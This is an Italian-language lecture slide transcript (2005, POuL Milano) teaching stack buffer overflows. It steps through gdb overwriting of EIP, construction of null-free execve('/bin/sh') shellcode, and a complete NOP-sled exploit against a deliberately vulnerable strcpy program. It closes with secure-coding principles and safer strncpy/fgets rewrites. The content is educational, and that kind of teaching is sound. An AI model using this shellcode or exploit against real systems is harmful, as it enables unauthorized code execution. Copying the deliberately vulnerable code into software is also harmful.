How to have fun with stack and heap (and more...)
Transcript
How to have fun with stack and heap (and more...)
Il malsano mondo della della "finta" programmazione How to have fun with stack and heap (and more...) Danilo Sia aka Birdack POuL -Politecnico Open unix Lab - Milano 06/04/2005 Powered by: AT L EX and Vim msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione 1 Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Introduzione al malsano mondo della "finta" programmazione! Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Introduzione Cosa si intende per Buffer Overflow? Sia l'ambiente di esecuzione di C (come di molti altri linguaggi...) che molte funzioni della libreria standard non prevedono alcun tipo di verifica sui limiti delle variabili. E' quindi possibile, se il programmatore non ha prestato ben attenzione sul controllo degli ingressi, riuscire ad oltre passare i limiti imposti alle variabili. E questo che problemi comporta? Molto semplicemente e' possibile andare a scrivere ad esempio oltre i limiti di un array andando a "sporcare" zone di memoria riservate ad altro. msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Introduzione Cosa si intende per Buffer Overflow? Sia l'ambiente di esecuzione di C (come di molti altri linguaggi...) che molte funzioni della libreria standard non prevedono alcun tipo di verifica sui limiti delle variabili. E' quindi possibile, se il programmatore non ha prestato ben attenzione sul controllo degli ingressi, riuscire ad oltre passare i limiti imposti alle variabili. E questo che problemi comporta? Molto semplicemente e' possibile andare a scrivere ad esempio oltre i limiti di un array andando a "sporcare" zone di memoria riservate ad altro. msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Introduzione Ma quindi.... ...Sì e' possibile non solo modificare porzione della memoria (che e' un attivita non molto elegante), ma anche iniettare opportunamente del codice e farlo eseguire... msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Un po' di codice di esempio Si consideri un semplice programma che dovrebbe leggere una stringa dalla tastiera e visualizzarla sullo schermo. simpleex.c # include <stdio.h> int main(void){ int var1; char s[10]; //ATTENZIONE!! int var2; var1=10; var2=10; // continua... msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Un po' di codice di esempio Si consideri un semplice programma che dovrebbe leggere una stringa dalla tastiera e visualizzarla sullo schermo. simpleex.c # include <stdio.h> int main(void){ int var1; char s[10]; //ATTENZIONE!! int var2; var1=10; var2=10; // continua... msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Esempio Semplice simpleex.c // ...continua. gets(s); //eccolo qui sempre insidioso! printf("%s %d %d",s,var1,var2); return 0; } Non vi è alcun errore visibile. Ma la chiamata gets() puo' provocare un errore in "Execution time". Nel programma s e' dichiarato come 10 caratteri, ma se l'utente immettesse piu' dei suddetti 10 caratteri? Accadrebbe che sarebbero superati i limiti di s andando a scrivere in zone di memoria magari riservate a var1 o var2. msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Esempio Semplice simpleex.c // ...continua. gets(s); //eccolo qui sempre insidioso! printf("%s %d %d",s,var1,var2); return 0; } Non vi è alcun errore visibile. Ma la chiamata gets() puo' provocare un errore in "Execution time". Nel programma s e' dichiarato come 10 caratteri, ma se l'utente immettesse piu' dei suddetti 10 caratteri? Accadrebbe che sarebbero superati i limiti di s andando a scrivere in zone di memoria magari riservate a var1 o var2. msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Esempio Semplice Ora cerchiamo di capire meglio cosa succede a basso livello. Iniziamo compilando il nostro "bel" programmino: birdack@Belfagor codice $ gcc simpleex.c -o simpleex /tmp/ccwXZ4nV.o(.text+0x2c): In function `main': : warning: the `gets' function is dangerous and should not be used. Lo stesso compilatore ci sta avvertendo del pericolo... msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Esempio Semplice Ora cerchiamo di capire meglio cosa succede a basso livello. Iniziamo compilando il nostro "bel" programmino: birdack@Belfagor codice $ gcc simpleex.c -o simpleex /tmp/ccwXZ4nV.o(.text+0x2c): In function `main': : warning: the `gets' function is dangerous and should not be used. Lo stesso compilatore ci sta avvertendo del pericolo... msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Esempio Semplice Bene ora inizia la parte divertente...facciamo un po' di prove. birdack@Belfagor codice $ perl -e '{print "A"x"10"}' | ./simpleex AAAAAAAAAA 10 10 Fino a qui niente di strano normale esecuzione... msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Esempio Semplice birdack@Belfagor codice $ perl -e '{print "A"x"16"}' | ./simpleex AAAAAAAAAAAAAAAA 10 10 No non e' magia...in effetti il compilatore impone di allocare sempre il valore a base 2 superiore...esempio se devo allocare 10 byte in realta' il compilatore fara' in modo di allocarne 16...e quindi se provassi.... birdack@Belfagor codice $ perl -e '{print "A"x"17"}' |./simpleex AAAAAAAAAAAAAAAA 10 1090519050 msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Esempio Semplice birdack@Belfagor codice $ perl -e '{print "A"x"16"}' | ./simpleex AAAAAAAAAAAAAAAA 10 10 No non e' magia...in effetti il compilatore impone di allocare sempre il valore a base 2 superiore...esempio se devo allocare 10 byte in realta' il compilatore fara' in modo di allocarne 16...e quindi se provassi.... birdack@Belfagor codice $ perl -e '{print "A"x"17"}' |./simpleex AAAAAAAAAAAAAAAA 10 1090519050 msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Esempio Semplice birdack@Belfagor codice $ perl -e '{print "A"x"17"}' | ./simpleex AAAAAAAAAAAAAAAA 10 1090519050 Cio' significa che il compilatore gcc sopra questo ibook funziona allocando all'incirca in questo modo: msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Esempio Semplice birdack@Belfagor codice $ perl -e '{print "A"x"52"}' | ./simpleex A.......A 10 1094795585 Segmentation fault uhm...interessante questo prova che posso scrivere ovunque nella memoria una volta superato i limiti,la cosa divertente e' che io potenzialmente potrei scrivere tutto in memoria anche codice macchina...e quindi con un opportuna modifica al registro che punta alla prossima istruzione (Program Counter, PC o IP). Per comodita' e semplicita' sposto l'applicazione in esame su un'architettura piu' semplice tipo un X86 il cui limitato numero di registri permettera' una migliore visione dell'insieme....ma la teoria non cambia molto se avessi voluto realizzare il tutto sul mio ibook! msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Esempio Semplice Anche se ora l'allocamento e' un po' diverso le premesse poste prima non cambiano. Quello che ci interessa vedere e' se riusciamo da qui a raggiungere il registro che ci interessa modificare (eip) e assegnargli il valore di indirizzo del nostro buffer in tal modo la prossima istruzione esguita sarà casualmente quello che avremo scritto nel nostro buffer (vedremo dopo questo punto). Ma Iniziamo a giocare un po' con il nostro amico gdb (Gnu DeBugger). msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Esempio Semplice Dopo un po' di tentativi arriviamo a qualcosa del tipo: (gdb) run Starting program: simpleex AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB A....evito di copiarli tutti.......ABBBB 1094795585 10 Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) info all-registers eax 0x0 0 ecx 0x0 0 edx 0x40 64 ebx 0xb7fc7ff-4 -1208188940 esp 0xbffff-4e0 0xbffff4e0 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0xb8000ca0 -1207956320 eip 0x42424242 0x42424242 // ecco qui il nosto BBBB eflags 0x10246 66118 msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Esempio Semplice Dopo un po' di tentativi arriviamo a qualcosa del tipo: (gdb) run Starting program: simpleex AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB A....evito di copiarli tutti.......ABBBB 1094795585 10 Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) info all-registers eax 0x0 0 ecx 0x0 0 edx 0x40 64 ebx 0xb7fc7ff-4 -1208188940 esp 0xbffff-4e0 0xbffff4e0 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0xb8000ca0 -1207956320 eip 0x42424242 0x42424242 // ecco qui il nosto BBBB eflags 0x10246 66118 msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione 1 Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Introduzione al malsano mondo della "finta" programmazione! Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode Per Shellcode si intende in senso generale codice macchina che esegue "qualcosa". In altre parole e' il pacchetto regalo che verra' eseguito!!! Puo' ad esempio essere qualcosa di molto simile a: sh.c int main(){ char *exec_array[2]; exec_array[0] = "/bin/sh"; exec_array[1] = 0; execve(exec_array[0],exec_array,0); } Come si intuisce banalmente questo stralcio di codice non fa' altro che eseguire una shell... msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode Vi sono in generale vari metodi per poter scrivere uno shellcode quello che vedremo e' funzionante ma non e' di certo la soluzione migliore.. Non rimane che trasformare tutto questo in qualcosa di comprensibile alla macchina senza passare da compilatori...quindi dovremo trasformarlo in asm... msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode Iniziamo a compilare in modo statico il sorgente di cui sopra: gcc sh.c -static -ggdb -o sh Compilo in modo statico per il semplice fatto che a me interessa avere tutte le funzioni inserite come codice nel mio eseguibile e non semplici link a funzioni in memoria del sistema...infatti il codice della funzione execve sarebbe stato altrimenti linkato dinamicamente. msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode inizializzazione amos:~/xploit# gdb -quiet sh (gdb) disassemble main Dump of assembler code for function main: 0x80481c0 <main>: push %ebp 0x80481c1 <main+1>: mov %esp,%ebp 0x80481c3 <main+3>: sub $0x18,%esp Queste prime tre istruzioni sono quelle necessarie all'inizializzazione di una nuova funzione... Salva il Frame Pointer Crea un nuovo Stack Pointer Infine alloca alla cima dello stack le variabili locali msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode Corpo del Main 0x80481c6 <main+6>: movl $0x808b6c8,0xffffff8(%ebp) 0x80481cd <main+13>: movl $0x0,0xfffffffc(%ebp) 0x80481d4 <main+20>: add $0xfffffffc,%esp Viene copiato l'indirizzo della stringa "/bin/sh" nel primo elemento dell'array Successivamente viene copiato il valore 0 nel secondo elemento dell'array Aggiorna la cima dello stack (Stack Pointer) msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode Call execve() 0x80481d7 <main+23>: 0x80481d9 <main+25>: 0x80481dc <main+28>: 0x80481dd <main+29>: 0x80481e0 <main+32>: 0x80481e1 <main+33>: 0x80481e6 <main+38>: 0x80481e9 <main+41>: 0x80481ea <main+42>: End of assembler dump. push $0x0 lea 0xfffffff8(%ebp),%eax push %eax mov 0xfffffff8(%ebp),%eax push %eax call 0x804bf90 <execve> add $0x10,%esp leave ret Vengono ricopiati nello stack in ordine inverso i valori contenuti nell'array e chiama la funzione execve() che sara' oggetto del nostro studio. msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode (gdb) disass execve Dump of assembler code for function execve: 0x804bf90 <execve>: push %ebp 0x804bf91 <execve+1>: mov %esp,%ebp 0x804bf93 <execve+3>: sub $0x10,%esp 0x804bf96 <execve+6>: push %edi 0x804bf97 <execve+7>: push %ebx 0x804bf98 <execve+8>: mov 0x8(%ebp),%edi //inizio copy add. stringa 0x804bf9b <execve+11>: mov $0x0,%eax 0x804bfa0 <execve+16>: test %eax,%eax 0x804bfa2 <execve+18>: je 0x804bfa9 <execve+25> 0x804bfa4 <execve+20>: call 0x0 0x804bfa9 <execve+25>: mov 0xc(%ebp),%ecx //add. array in ecx 0x804bfac <execve+28>: mov 0x10(%ebp),%edx //0 in edx 0x804bfaf <execve+31>: push %ebx 0x804bfb0 <execve+32>: mov %edi,%ebx //fine copy add. stringa 0x804bfb2 <execve+34>: mov $0xb,%eax //codice call execve in eax 0x804bfb7 <execve+39>: int $0x80 //kernel mode 0x804bfb9 <execve+41>: pop %ebx 0x804bfba <execve+42>: mov %eax,%ebx msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode 0x804bfbc <execve+44>: cmp $0xfffff000,%ebx 0x804bfc2 <execve+50>: jbe 0x804bfd2 <execve+66> 0x804bfc4 <execve+52>: call 0x8048380 <__errno_location> 0x804bfc9 <execve+57>: neg %ebx 0x804bfcb <execve+59>: mov %ebx,(%eax) 0x804bfcd <execve+61>: mov $0xffffffff,%ebx 0x804bfd2 <execve+66>: mov %ebx,%eax 0x804bfd4 <execve+68>: pop %ebx 0x804bfd5 <execve+69>: pop %edi 0x804bfd6 <execve+70>: leave 0x804bfd7 <execve+71>: ret msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode Quindi essenzialmente si e' capito (spero) che e' necessario: 1 Avere una stringa contenente "/bin/sh" (array[0]); 2 Avere una stringa di memoria contenente 0 (array[1]); 3 Avere nel registro EAX il valore 11; 4 Avere nel registro EBX l'indirizzo della stringa; 5 Avere in ECX l'indirizzo dell'indirizzo della stringa; 6 Avere in EDX l'indirizzo di 0 (Null). msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode .global main main: jmp call_string shellcode: pop %esi // Registro della Stringa movl %esi,0x8(%esi) // Metto l'indirizzo del registro in ESI+8 movb $0x0,0x7(%esi) // Metto il carattere null terminatore di stringa movl $0x0,0xc(%esi) // Scrivo 0 in ESI+12 movl $0xb,%eax // Imposto il modo in 11 (execve) movl %esi,%ebx // Scrivo ESI in ebx leal 0x8(%esi),%ecx // ESI+8 in ECX ("/bin/sh") leal 0xc(%esi),%edx // ESI+12 in EDX (carattere 0) int 0x80 // modalita' kernel call_string: call shellcode .string "/bin/sh" msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode Compilo lo shellcode scritto poco fa' e mi aiuto con un po' di comandi bash ad estrarre solo gli opcode. "gcc -g -ggdb shellcode1.s" lancio un "objdump -d a.out " e osservo il risultato, leggo l'indirizzo di registro in cui inizia il main (ADD_MAIN) e infine lancio un: objdump -d a.out | egrep -A 20 "^ADD_MAIN <" | cut -f 2 |\ egrep -v \< | egrep -v ^$ | xargs --max-args=16 echo| sed s/' '/"\\\x"/g | sed s/^/"\\\x"/ | sed s/^/'"'/ | sed s/$/'"'/ msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode "\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73" mi accorgo che "x2f\x62\x69\x6e\x2f\x62\x61\x73" non e' altro che "/bin/sh" msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode Quello shellcode non potra' mai essere eseguito all'interno di un buffer overflow infatti le funzioni che normalmente vengono usate copiano caratteri da una stringa ad un altra fino a quando non si raggiunge un carattere terminatore che nella maggior parte dei casi si tratta proprio del null ("\0") quindi dovremo cercare di eliminare i caratteri 00 dal nostro shellcode. 80483c6: 80483ca: 80483d1: c6 46 07 00 movb 0x0,0x7(%esi) c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi) b8 0b 00 00 00 mov $0xb,%eax msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode Per riuscire ad ottenere una shell "pulita" dovro' ricorrere a semplici sostituzioni. Se ci ragiono un po' su e mi ricordo di una funzione logica chiamata "or esclusivo". Xorl di un registro per se stesso trasforma il contenuto in zeri. Quindi al posto delle prima due istruzioni posso usare: xorl %eax,%eax movb %eax,0x7(%esi) //primo movl xorl %eax,%eax movl %eax,0xc(%esi) // secondo movl per l'ultima ricordo semplicemente che EAX e' scomponibile in due sotto-registri, e quindi copio 11 direttamente in al (reg low): movb $0xb,%al msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Shellcode Sotituiamo tutto nel nostro shellcode. "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; ecco questo e' cio' che dovremo far eseguire alla macchina "vittima". Possiamo testarlo: char shellcode[]= "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; int main(void) { int i,*P_SRET; P_SRET=(&i)+2; /* copiamo l'indirizzo del puntatore P_SRET nel registro EIP*/ *P_SRET=(int )shellcode; /* Mettiamo in SRET l'indirizzo di shellcode */ } msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Il nostro primo exploit Considero un esempio (come quello iniziale) ma un po' piu' semplificato: vuln.c int main(int argv,char **argc) { char buf[256]; strcpy(buf,argc[1]); } evito di utilizzare l'esempio precedente solo per uno scopo didattico...in effetti gets() causerebbe la modifica del nostro shellcode e altre piccole attenzioni, preferisco quindi per il momento rendere il tutto il piu' semplice possibile. msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Il nostro primo exploit #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #define BUF 265 // individuato con gdb #define NOP 0x90 // opcode del nop #define RET 0xbffffd54 // indirizzo di ritorno individuato con gdb char sc[]= /* linux/i386 shellcode */ "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Il nostro primo exploit unsigned long getesp() { __asm__("movl %esp, %eax"); } /* Questa funzione che invoca un comando asm ha lo scopo di ritornare l'indirizzo dello Stack Pointer difatti lo copia su eax pronto ad essere ricevuto dalla funzione chiamante */ msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Il nostro primo exploit int main(int argc, char *argv[]) { int ret, i, n; char *arg[3], buf[BUF]; int *ap; /* address pointer */ if (argc < 2) ret = RET; else ret = getesp() - atoi(argv[1]); // -137 /* serve in caso volessimo fare un bruteforce dell'indirizzo di ritorno, e' necessaria tale tecnica per macchine diverse da quella attualmente in esame (o meglio con caratteristica "abbastanza" diverse)...con le dovute modifiche e' utile anche in caso di exploit da remoto */ msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti il nostro primo exploit fprintf(stderr, "Using ret: 0x%X\n", ret); /* facciamo puntare in nostro puntatore ad indirizzo al buffer */ ap = (int *)(buf ); /* copio l'indirizzo di ritorno in tutto il buffer */ for (i = 0; i < BUF; i += 4) *ap++ = ret; /* Spalmo per meta' del buffer dei NOP */ for (i = 0; i < BUF / 2; i++) buf[i] = NOP; /* E dopo i nop metto il nostro shellcode*/ for (n = 0; n < strlen(sc); n++) buf[i++] = sc[n]; msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Il nostro primo exploit } arg[0] = "./vuln"; arg[1] = buf; arg[2] = NULL; execve(arg[0], arg, NULL); perror("execve"); msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione 1 Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Introduzione al malsano mondo della "finta" programmazione! Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Commenti Naturalmente quello qui minuziosamente descritto e' solo uno dei vari metodi con cui e' possibile arrivare a far eseguire codice "malizioso" all'interno di una applicazione. La maggior parte di queste tecniche e' direttamente dipendente da quale funzione vogliamo sfruttare a nostro vantaggio (esistono anche tecniche multiple tipo heap+stack). Inoltre tecniche relativamente piu' recenti (2002) come la "format string" mette in crisi molto del software difatti e' possibile sfruttare errori quali: printf(buf); // invece di printf("%s",buf) msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Commenti Ogni buon programmatore deve quindi fare i conti con una serie di funzioni e controllare sempre l'input ricevuto. Possiamo sintetizzare il tutto in 8 semplici principi: Principio del minimo privilegio: Ogni processo relativo ad un programma dovra' essere esguito con solo i privileggi necessari allo svolgimento delle sue funzioni Principio della sicurezza di default: Ogni privilegio va' concesso in "execution time"; eventuali errori devono riportare i processi in situazione non privilegiata (velocemente per evitare "race condition") Principio della semplicita' dei meccanismi: Programmazione a routines e sottofunzioni. msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Commenti Principio dell'Open Design: La sicurezza di un software non deriva dall'occultamento di particolari implementativi (cio' non viola la liberta' di avere un software closed-source, ma semplicemente di non affidarsi ad una simile soluzione) ne' attraverso l'utilizzo di strumenti esterni. Principio del check completo: L'accesso ad ogni risorsa deve essere oggetto di checking prima di ogni operazione (r,w,x).Tale controllo deve essere effettuato all'interno del software stesso. Principio del minimo dei meccanismi comuni: Limitare la condivisione di risorse al fine di ridurre i rischi di inconsistenza dei dati, memory leak (memoria allocata che rimane tale anche al termine del programma) msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Commenti Principio della separazione dei privilegi: i privilegi vengono effettuati unicamente dopo verifiche di multiple condizioni Principio dell'accettabilita' Psicologica: l'utente finale non dovra' "accorgersi" delle "clausole di sicurezza" che avremo implementato. msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Commenti Quelle qui di seguito sono alcune delle funzioni maggirmente a rischio: strcpy, lstrcpy, lstrcpyA, lstrcpyW, lstrcpyn, lstrcpynA, lstrcpynW, wstrcpy, strncpy, wstrncpy, sptrintf, swptrinf, gets, getws, strcat, lstracat, lstrcatW, wcscat, strncat, wstrncat, memcpy, memmove, scanf, wscanf, fgets. E' buona norma evitare di usarle o almeno verificarne i parametri prima di eseguirle... msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Instead of... void func(char *str) { char buffer[256]; strcpy(buffer, str); return; } //E' possibile sostituire questa funzione con: void func(char *str) { char buffer[256]; strncpy(buffer, str, sizeof(buffer) -1); buffer[sizeof(buffer) - 1] = 0; return; } //cosi' e' corretta ed evita errori msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Instead of... void func(char *str) { char buffer[256]; gets(buffer); return; } //non corretto void func(char *str) { char buffer[256]; fgets(buffer, sizeof(buffer) - 1, stdin); return; } questi sono solo semplici esempi di come e' possibile con un po' di attenzione evitare danni! msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap Il malsano mondo della della "finta" programmazione Errori di superamento dei limiti (traduzione non mia!!) Sfruttiamo quello che abbiamo imparato Commenti Bibliografia e Links 1 Herbert Schildt, C - la guida completa 2 Aleph1, Smashing the stack for fun and profit 3 Richard W. Stevens, Unix - Sviluppo del software di networking 4 http://community.core-sdi.com/~gera/InsecureProgramming/ 5 http://www.0xdeadbeef.info msn e mail : Birdack [AT] gmail [DOT] com How to have a fun with Stack and Heap